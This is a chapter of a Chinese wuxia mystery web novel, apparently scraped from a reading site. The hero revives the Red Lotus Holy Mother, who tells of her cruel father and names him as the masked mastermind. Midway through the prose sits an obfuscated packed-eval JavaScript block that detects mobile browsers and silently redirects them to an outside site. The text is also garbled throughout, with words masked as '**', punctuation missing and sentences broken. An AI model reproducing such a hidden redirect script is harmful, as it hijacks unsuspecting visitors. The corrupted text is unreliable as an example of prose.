第一百四十五章 怜君何事到天涯

作品:《诡秘武林:侠客挥犀录

    福州城中的古宅中波光隐隐,芦苇森森,偶有寒鸦在树杈间惊醒,随后又怪叫着扑入化不开的阴影里,悄然远去。


    六丁神女已经安抚好惶恐不安的教众,继续蛰伏在这场并不静美的良夜中,枯待着漫漫长夜的结束。可让她们不安的是,即便更鼓已经悄告了数遍,远处的昏暗天空依然没有要放亮的意思。


    此行困难重重,连日来唯一一个值得纪念的好消息,便是原本在坊巷中大肆搜捕的清兵,似乎在接到消息后忽然撤走,向着不知何处集结去了。


    当江闻重回古宅的时候,六丁神女都显露出了不可思议的神情。


    江闻扛着人越墙翩然而来,把昏迷不醒的红莲圣母放在密室的石床上,随后便撤退两步,任由几女上前惊叫连连。


    “快看看是不是你们要找的人。反正我不认识,这些都是一个三角眼告诉我的。


    如今的情况很微妙也很令人庆幸。


    失踪数日的红阳圣母人还活着,气息奄奄却暂无性命之忧。对方显然很清楚她的地位和作用,并没有要随手杀掉她的想法。


    又或者是说可以杀,但要“死得其所。


    这一系列妙至巅峰的借刀**之计,让江闻都目不暇接,只能佩服感叹对方的心计之深沉毒辣。此人深知人心的幽暗,做事不留痕迹,他很清楚每当纷争冲突出现的时候,利多者疑就是颠扑不破的真理。


    他**定光寺差役民夫,是为了挑拨衍空和尚与耿家的关系。不管抓没抓到凶手,先前耿家在这里大肆挖掘也是事实。


    故而定光寺值此刚刚挖出《演山先生神道碑》之际就被袭击,清廷是绝不会心慈手软地做疑罪从无的假设,反而只会想着,不管对错也要先下手为强。


    这样的手法屡次出现,又屡次得手,不得不说是一道无解的难题。


    同样的手法,还有先前冯道德险些误杀红莲圣母。若是这件事发生,就会成为武当派与白莲教化解不开的矛盾。并且不是简单的**藏尸、毁灭踪迹就能了结的矛盾。


    江闻看人一向很准,如果冯道德真误杀了,他绝无可能秉承江湖道义去认错,只会为了维护武当派的声誉,用尽各种方法把白莲教的红阳一脉从江湖上抹消——毕竟如今的武当派也面临内忧外患,不像倚天时期的一门独大,更不是找个张翠山夫妇**就能简单了事。


    总而言之这样的操作很有趣,幕后黑手从利益角度引燃问题,自己作为真凶却能从容藏身幕后,坐看云起雷鸣。


    从这个角度看此前耿精忠、福威镖局的屡遭暗算林震南的困斗之境白莲教的群龙无首清廷的草木皆兵就都有一个合理的解释了——


    幕后黑手鬼面人想让福州城乱起来以便火中取栗。


    但是江闻还是有一些想不通的地方。


    比如冯道德为什么莫名其妙来这趟浑水、又为什么明明接触使用过天蚕丝却连续两次都被这本应让人印象深刻的东西骗过。


    江闻暂时不认为他在装傻。


    因为这样太傻了傻到明眼人都能看出来的程度丝毫没有假装的益处。但这位武当派现任掌门手里一定还掌握着一些江闻不知道的东西不愿分享就像他刚才在九仙山上的不告而别一样从头到尾都显得别扭。


    江闻还有一个不解之处就在面前的红莲圣母。她到底是怎么落入鬼面人之手又是怎么被困在榕树中的。


    江闻在从武夷山与白莲教的初交锋起就知道他们喜欢装神弄鬼、故布疑阵。而面前这位武功按说不低、又精通人心伎俩怎么会被轻易算计捉拿?


    要知道活捉一个江湖高手可比一拳打死要困难多得多!


    幸好这个问题的答案此时近在眼前了。


    “几位姑娘你们两台戏都快唱完了能把人救醒了吗?”


    江闻心中盘算着今晚的情况抱着膀子看六丁神女们用各种方式救人看她们又是解穴、又是熏药、又是按人中、又是挠嘎吱窝急的满头大汗却不见红莲圣母有丝毫苏醒的迹象。


    自古男女授受不亲嘛江闻也不好意思上前自告奋勇这样容易显得别有用心招来怀疑。


    年纪最小的六丁神女向来心直口快哭丧着脸看着江闻:“江道长我们用尽方法也唤不醒红莲圣母菩萨她会不会**呀!”


    年龄大一点的六丁神女连忙捂住她的嘴表示童言无忌“不许乱说圣母脉象四平八稳怎么可能会死呢!”


    腿上被小石头咬了一口的六丁神女见多识广思索了片刻后说出自己的猜想。


    “各位姐妹我曾听圣母菩萨说过我教神功练至五阳朝元的境界后心智一旦受到重创就会陷入假死龟息依靠内力自行运作护体。”


    年龄最小的神女紧忙说道:“真的吗!姐姐你有办法救醒圣母菩萨吗!”


    “方法倒是知道。圣母菩萨说过此时想用外力打破龟息就必须要有同源同境界的真气输入


    转醒。


    可纱衣女子犹豫着说道,“可咱们六个最多也不过三阳聚顶的功力,今晚又强运内力受了伤,恐怕加起来都没办法了……


    几女面面相觑,发出了长长的叹息。按说龟息假死本就是自我保护,时间到了也能醒过来,可想如今这种云谲波诡的环境里,每一刻钟的群龙无首都是莫大的危险。


    江闻终于慢慢说道:“或许我可以试一次。


    随后他缓缓伸手,隔着衣袖把住红莲圣母的手腕,催动身上浩瀚磅礴的九阳真气流入。


    在几人期待的目光中,随着江闻缓缓发功,红莲圣母静躺着的苍白面庞果然红润了几分,湖台的密室气温更是猛然提高了几度,似乎即将迎来转机。


    可让江闻失望的是,些许表征尚未稳定,他的内力就如同泥牛入海,被经脉多处抵挡后逸散不见,依旧没能唤醒对方。


    “不行,好像哪里不对,总有一股内力在排斥我……


    金庸江湖与明清江湖的内功差异,一直都是江闻心头的梗,此时又碰见了经典的适配问题,以至于两种内力似是而非却无法相容。


    六丁神女们眼中的光芒,又瞬间沉寂了下去。


    一位六丁神女安慰道:“我教真气极为特殊,除非同源绝无办法想通。江道长,你与我教的内功看似相同,实则两异。今夜多亏你将圣母菩萨救了回来,大恩绝不敢忘……


    六丁神女们虽然难掩失望,却还是没忘了表达感谢。


    可江闻此时就像一个经验丰富的蒙古大夫,遇到疑难杂症坚决不肯罢休,没别的优点就是胆子大。他微皱着眉看了一眼两侧的巨幅壁画,忽然又说道:“容我再试一下。


    又是几种不同的**运行尝试无果,江闻却隐隐有了什么领悟,毫不气馁地再次出手。


    这次,江闻吐出一口浊气,运**门从浩瀚广博化为了精细绵长,偏偏别有一股旭日初升的磅礴欲出气势,六丁神女似乎受到了什么感召,双眼都出现了万丈云海之上,一轮东升的旭日放射着无边光辉、独乘浩荡紫气的异象……


    一阳初始,万象更新!


    这一次,石床上的红莲圣母手指微颤,双眉渐锁,胸腔里似乎久违地吸进去了空气,猛地弓着身子坐了起来。


    她剧烈地呼吸着新鲜空气,牵动着脸上深刻蜿蜒的伤疤。


    六丁神女大喜过望,连忙上去端水垂背、温言软语,终于让她渡过了昏迷乍醒的茫然恍惚。


    红莲圣母还处于


    虚弱之中,却主动挥退了围绕身边的六丁神女,要求与已经退到门口的江闻独处。


    “江道长,三里亭一别直至今日,没想我们到会在这里碰面。多谢你出手相救……”


    微弱的声音还没说完,江闻就毫不客气地打断了红莲圣母的话。


    “圣母无须客气,江某如今尚且有几个问题,希望你能一一解答。”


    此时的功劳已经到手,江闻也不打算立什么施恩不图报的牌坊,他本来就是想要掌握白莲教这边的信息渠道,扫清最后的迷云。


    红莲圣母面色苍白,表情郑重地说道:“道长放心,我们一定知无不言。”


    江闻立即说出了第一个问题。


    “第一个问题,这次是你们传信到武夷派的吗?”


    这个问题很重要。


    如果连江闻的入局都是幕后黑手的算计,那他还是连夜扛着火车逃离这座城市吧,双方根本就不在一个量级。


    幸好红莲圣母缓缓点头。


    “本教多次得罪贵派,红阳圣童又落在了道长手里,不得不作此打算。一开始,我是想亲自上门以表诚意,可惜福州的变故事出突然,本教黄**便出此计策以为缓兵之计,却没想到道长会直奔福州城而来。”


    果然如江闻所猜,白莲教无力双线作战,因此他们在信中的威逼利诱,都是为了拖延时间,以便全力以赴来处理福州城的事情,可惜**闻察觉到破绽,适得其反地直扑福州而来。


    江闻这一连串前因后果都猜对了,只是没猜到原本应该是惹事魁首的白莲教,这次却成了被连连算计的受害者。


    听到对方直接承认,江闻也就干脆把话说开了:“实不相瞒,之前的龃龉我压根没放在心上。今天特意过来只是想和你们说一声,红阳圣童自己选择死在了武夷山上,连尸体都找不着了。”


    见对方瞠目结舌,江闻连忙补充道,“人不是我杀的,不信你可以到武夷山问活下来的四名六甲神将,他们知道的一清二楚——那四个还在我武夷派白吃白喝,有空把饭钱也结一下。”


    听到这个消息,虚弱的红莲圣母却没有什么特别的变化,仿佛一切都在意料之中。


    “果然如此吗……我见圣童最后一次来信时语气决绝,紧赶慢赶却还是晚了一步。道长且放心,我们不会迁怒别人。况且若圣童想跑,当今武林我相信也没人能拦得住他。只是请别让门外几名姐妹知道。”


    “这是为何?”


    “好教道长知晓,其


    实明尊教凋零已久,如今的红阳一脉,很多都是圣童爷爷捡来的孤苦之人,大家情义尚未报答,却已经天人永隔了……”


    江闻也缓缓叹气,也看得出面前人和红阳圣童的关系匪浅:“节哀顺变。我还是问下一个问题吧,如今城中到底在争夺什么?”


    红莲圣母收起哀思,从石床上坐起来,低声说道:“这一切说起来,还是跟我教的黄**有莫大的关系。黄**本为城中义序黄氏的后辈,经营二酉斋书肆兼买卖些许古董字画,依靠广交各方势力,照拂着本地的香众。”


    “直到他在古墓中发掘到了一些难以言述的东西,事情才变得诡谲了起来。他开始疑神疑鬼,每日躲藏着踪迹全无,而我来到福州城后打探才得知,他告诉给各方的消息居然完全不一样!”


    “在给我的书信中,他说找到了前宋幽冥版刻《九幽真经》的下落;在向耿王府的密信中,他说永镇幽泉的胞皇庙即将出世;在给清廷的消息里,他说塔巷中有摩尼宝珠的线索;而在他供职账房的福威镖局里,他却说自己学会了出入幽冥的法子……”


    听到福威镖局四个字,江闻就忍不住皱起了眉。


    “黄**这样的行为,似乎有意引来各方觊觎,倒是和幕后黑手的行径有几分相似啊……”


    难怪幕后黑手一直在针对福威镖局,原来是因为福威镖局,一直和这个核心人物有联系,也怪不得林震南走进幽冥巷享殿的时候,会不自觉地表现出熟悉的模样!


    林震南这个傻子,一开始一定是以为自己并未争夺、占有各方争夺的东西,以为就可以高枕无忧了。可幕后黑手可不管这些,他就是个炸鱼狂魔,不管殃及池鱼、机会多寡都会上去炸个狠的!


    江闻深吸了一口气,对红莲圣母说道:“那你知道黄**对我说了什么吗?他对我说的是,福州城有鬼,幽冥巷有鬼!他发了疯似地念叨着历代鬼神之事,诉说起幽冥阴司的咎兆,然后把自己塞进了狭小的柜子里,在那暴毙而亡。”


    听到这话的红莲圣母面色惨白,惊恐与震畏兼而有之,以至于眼角的细纹也无法掩藏,露出了些许岁月的痕迹。


    她仿佛遭遇了某种大恐怖,语带颤抖地说道:“江道长,我能否也问个问题。”


    “圣母请讲。”


    “我记得那封书信只提及泉州草庵寺,我想问问道长,你是怎么知道要来福州城的?”


    江闻直截了当地说道:“你们送来的大殿营造图册里,封皮裱纸掺杂了福州府衙印鉴的公文纸托


    裱,我就猜到你们是在福州。”


    “……黄**果然在怀疑我。”


    红莲圣母深深叹了一口气,眼里露出了几分的绝望,“这个破绽一定是他有意为之,目的也很简单,就是给身处在武夷山的红阳圣童送信,让他赶快回来救自己。”


    “他是故意的?”


    江闻皱起了眉,忽然觉得世事缘合果然难料。谁能想到这个暗讯兜兜转转,会碰巧落在江闻这个福威镖局的盟友手中,这才引来他孤身入局。


    不过这事也有几分合情合理。福州乃是闽中古城,黄**又在各大势力都挂了号,只要江闻跟其中一方有些牵连,也必然会掺和进来。


    红莲圣母慨叹道:“没错,黄**之所以甘愿当朝秦暮楚的反复小人,游走在各家势力出卖消息,就是因为他一直怀疑有人要暗害他。他向来不相信除了红阳圣童外的所有人,因此才利用这个办法,瞒过了本教来传递消息……”


    “我能看出来他确实在怕死,不受控制地畏惧着死亡本身。”


    江闻缓缓说道:“可惜黄**还是**,而他到底知道了什么消息,终究也成为了一个谜团。”


    红莲圣母却独自摇头,有些憔悴地看向湖台水榭之外。


    “江道长,我猜你的最后一个问题,就是抓走我的幕后主使是谁。”


    江闻暗暗点头,佩服对方的聪慧。


    “这个问题我会原原本本地告诉你,只是牵扯到先前两个问题的一些细节,容我慢慢说来。”


    “我先前说到黄**向来不信任我,是因为黄**在十三年前,曾在福州府任职幕僚,就是管理的公文印册之事,手中多有这类纸册。我爹当时身为福州知府,却拷掠残酷、贪渎无度,更在清军**福州之日私通建奴,意图开门献城出卖隆武帝。”


    “然而两人的仇雠极深,红阳圣童当时也正在福州城中,出于义愤便联合黄**将我爹杀死,抛入一口深井之中。”


    江闻吓了一跳:“你们有杀父之仇,那你们两个人怎么可能关系会好呢?这事红阳圣童也参与了?”


    江闻只感觉这白莲教是有什么毛病,**全家再渡人出家吗?


    红莲圣母目光带着泫然:“道长,你可知道的我当时又在哪里?”


    “你?”


    “那一天,我躺在棺材里。”


    红莲圣母诉说着切肤之痛,表情却是哀莫大于心死的冷寂。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15428256|169159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自母亲死后,我爹并未再娶,表面上也清正廉


    洁。然而背地里为了谋取钱财,命我嫁给城中丁家长子,又在即将成婚之日捏造谋反证据,将他们一网打尽,收入牢中日夜折磨拷打。


    “我与丁家公子早有爱慕之情,因为不耻父亲的为人,便日日去牢中看他。但我爹为了让他绝望开口,就故意对他说我是逢场作戏,只为了一同谋取钱财。随后我爹将我锁在屋里,故意要将我嫁给城中守备。


    像这类的诛心之言一旦被放出来,作为一个弱女子想要洗清可就难如登天了,何况还是封建礼教最森严的明清。


    “我自然誓死不从,以发簪划烂了面容绝他念想,从此父女彻底交恶、再无恩情。隆武帝收到风声抢先出城,我父亲便在献城投敌之日将我锁入棺材中活埋,对外说我为国殉节宜加旌表,只为了把他干过的坏事统统掩盖,改名换姓仕途再起……


    江闻听着皱眉不已,这个故事太过耳熟以至于像编的一样。可江闻很清楚,面前这人就算真要编故事,也不可能在某些细节上和他脑子里的,达到如此吻合的程度。


    “好家伙。我现在才明白过来,你爹真是凌知府,也不愧是凌知府啊……


    江闻说了一句没头没尾的怪话,红莲圣母却能感觉到对方十分笃信,“后来呢?


    “当时尚且埋土不久,红阳圣童恰巧潜入府中听到了衙役的谈论,怒不可遏地击杀了行凶衙役。他说家国大义与他无关,但世间有这种不养不教的混蛋父母,他无论如何也要管一管!


    “红阳圣童一掌将我爹颅骨拍碎,扔进古井之中。再后来兵荒马乱,我便放弃名姓进了白莲教,直到做了红莲圣母,把这些前尘往事埋在了心底。


    在历史的滚滚洪流之间,有的人螳臂当车奋力一搏、有的人从流漂荡和光同尘、有的人同流合污遗臭万年,但更多的人只能是被裹挟着浩荡而去,发不出一丝声响,潦草地了却这残生。


    毕竟在顺逆大势之前,寻常人又能闹出几分的动静,让那些自以为身高拄天、终日举竿钓鳌的龙伯巨人们看上哪怕一眼呢?


    她从凌家小姐到红莲圣母,这也只是冥冥中注定的那一步罢了。


    “五毒炽盛苦,三界若火宅。况当此互相斗争,弱肉强食,**之法,无奇不有,着实可叹。


    江闻不知道该说什么,只好搬出佛家的说法安慰一下对方。


    佛经这些说法虽然用多了就是车轱辘话,但世间存有大苦大难还是没错的,争斗也不可避免,做人总不能碰上猫抓老鼠去可怜老鼠、遇见老


    虎吃羊又去给羊报仇,这样下去冤冤相报何时了?


    当然话是这么说,可在江闻的心底里就算知道了苦从何来,也不会故作善心地慈悲为怀。


    当日如果换作他碰上这些事,也只会像红阳圣童那样抬手拍碎对方脑袋,还自己一个眼前清净、念头通达。


    “对了,我在福州府衙的待质所里见到过一个被关了很多年的人,对此你有没有什么头绪?


    红莲圣母意味深长地看了江闻一眼。


    “我曾经回去找过他。他说一切是非对错都已经没有意义,他只是个待死的残废,如今就算去到外面,也不过是换了一个更大的牢房。他还说让我不用要再去找他,再带给他不幸了。


    红莲圣母自怜地摸着脸上无法消除的狰狞伤疤,手指就像再次感觉到疼痛般微微颤抖,也不知道疼的是愈合已久的伤口,还是她被刺伤的心。


    江闻也看出她今天的状态不对,自从红莲圣母苏醒后,情绪似乎就在极端与消沉的边界上徘徊不定,时时能察觉到异样。


    “哎,是我失言了。回忆这些太过让人痛苦,我出去查探一下四周再回来,你先休息调养片刻。


    江闻本想给对方一些管理情绪的时间,可回头一看此时红莲圣母的表情,却透露着枯柴燃尽之后的沉寂坚毅。


    “江道长误会了,我不是来这里自怨自艾寻求同情的。我说了这么多,只是因为我难以接受的地方在这里,而你要的答案也就在这里面……


    红莲圣母喘息片刻,终于说出了她酝酿已久的答案。


    “我又看到我爹了,你要找的人很可能就是他。


    江闻骤然一惊。


    “凌知府?他不是**吗?


    红莲圣母笃定地点头。


    “是的。十三年前就已经**,被红阳圣童亲手打死,溺水尸体被人打捞之后就地火化,这些福州府衙中人都亲眼所见,绝不可能作假。


    “那你确定见到他了?


    红莲圣母依旧笃定万分。


    “正是。我在幽冥巷中看到了他的身影,便一路追踪到了九仙山的玉皇阁。他在那里摘下了鬼面具,相貌和十三年前一模一样,就连颅顶的塌陷也一样。


    江闻倒吸了一口气:“好家伙,那可真是遇见鬼了……


    然而江闻回过头来仔细想想,又好像也没有那么值得闻之色变——毕竟就在今晚,他还和冯道德追着鬼跑了二里地。


    摩尼宝珠的神异之


    处他早有猜测江闻一直认为它会给人带来某种幻觉并且很有可能也涉及到他最警惕的夷希一类。


    “我爹忽然变得武功高强出手快到不可琢磨。他说今夜三山之间将有剧变他会看着阖城尽将沦入黄泉蒿里他不会杀我这个好女儿而会让我亲自体验黄泉之下那种求死不能的滋味……”


    红莲圣母即便此时回想起父女见面的场景依旧忍不住打了个冷颤。


    这些年她也曾追逐探究过幽冥诡怪之事钓搜过故纸堆里骇人听闻的只言片语但她此生见过的最恶毒、最恐怖的表情却毫无例外地是出现在那同一张人脸上。


    江闻联想到了自古城陷湖底的故事根据《三国志·吴志》逸文和《搜神记》记载古巢城便是在三国时期一朝化为泽国百姓沦为鱼鳖倒是很像黄泉蒿里的说法。


    湖心古庙?这一切或许真的和湖有关。


    “原来幕后黑手是凌知府?!”


    江闻自言自语地说着“好吧这个答案我也勉强能够接受毕竟这人的阴险歹毒我还是佩服已久的。也难怪他能把人心之间的龌龊阴暗把握得如此巧妙……”


    随后他话锋一转“对了我怎么感觉你更憎恶的是你爹出现


    红莲圣母苍白的脸上露出一丝勉强的笑容察觉到了江闻在有意缓和气氛。


    “那是自然。我教虽然诸多典籍散失但对于幽冥之事却多有了解也知道福州城下的阴泉海眼一事。呼禄法师在唐时迫不得已将摩尼宝珠镇入三山就曾担忧被奸人利用反倒酿出更大的祸患故而在教主一脉传下克制摩尼宝珠的法门。”


    “后来摩尼宝珠果然被悄然带走辗转数百年才又到了我教韩林儿教主手中。韩教主此人惊才绝艳又从克制**之法中反推出起伤之术可以沟通幽冥、借尸还魂这才保存住了本教的诸多经文典籍。”


    “这么神奇的吗?”


    江闻有些见猎心喜忍不住八卦了起来。明教因为热衷**典籍早就受到多方打压向来都被视作妖邪妄说、严查累禁以至于只能反复依托佛道之名残存。


    譬如《夷坚志》就记载有人贿赂《道藏》主编让其偷偷编入明教经典:“其经名《二宗之际》。二宗者明与暗也。三际者过去、未来、现在也。大中祥符兴《道藏》富人林世长赂主者使编入藏安于亳州明道宫。”


    红莲圣母略微骄傲地说道:“这门法术的神妙